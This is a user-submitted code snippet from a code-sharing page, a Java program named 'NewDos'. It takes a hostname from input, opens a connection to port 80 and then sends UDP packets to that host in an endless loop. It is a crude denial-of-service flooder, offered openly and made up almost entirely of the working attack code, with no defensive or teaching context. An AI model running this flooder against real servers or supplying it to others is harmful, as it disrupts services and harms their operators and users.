Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  NewDos
Language: JAVA
Code:
import java.net.*;
import java.io.*;
    class NewDos {
    private static BufferedReader br;
    private static DatagramSocket ds;
    private static DatagramPacket dp;
    private static Socket sock;
    private static String str,s2;
     public static void main(String[] args) {
    br= new BufferedReader(new InputStreamReader(System.in));
    str="e";
    try{
    s2=br.readLine();
    }catch(Exception e){}
    while(true){
    try {
          sock = new Socket(s2,80);
     } catch (IOException e) {
          System.out.println("1");
     }
    System.out.println("Socket is connected");
    try {
          ds = new DatagramSocket(sock.getLocalSocketAddress());
     } catch (SocketException e) {
          System.out.println("2");
     }
    System.out.println("DatagramSocket is connected");
    for(int l=0;l<10000;l++){
         str=str+"e";
         }
    dp= new DatagramPacket(str.getBytes(),1,sock.getInetAddress(),80);
    for(int k=0;k<100000;k++){
         try {
              for(int l=0;l<10;l++){
               ds.send(dp);
              }
               System.out.println(k);
          } catch (IOException e) {
               System.out.println("3");
          }
    }
     }     

}
}     
Comments: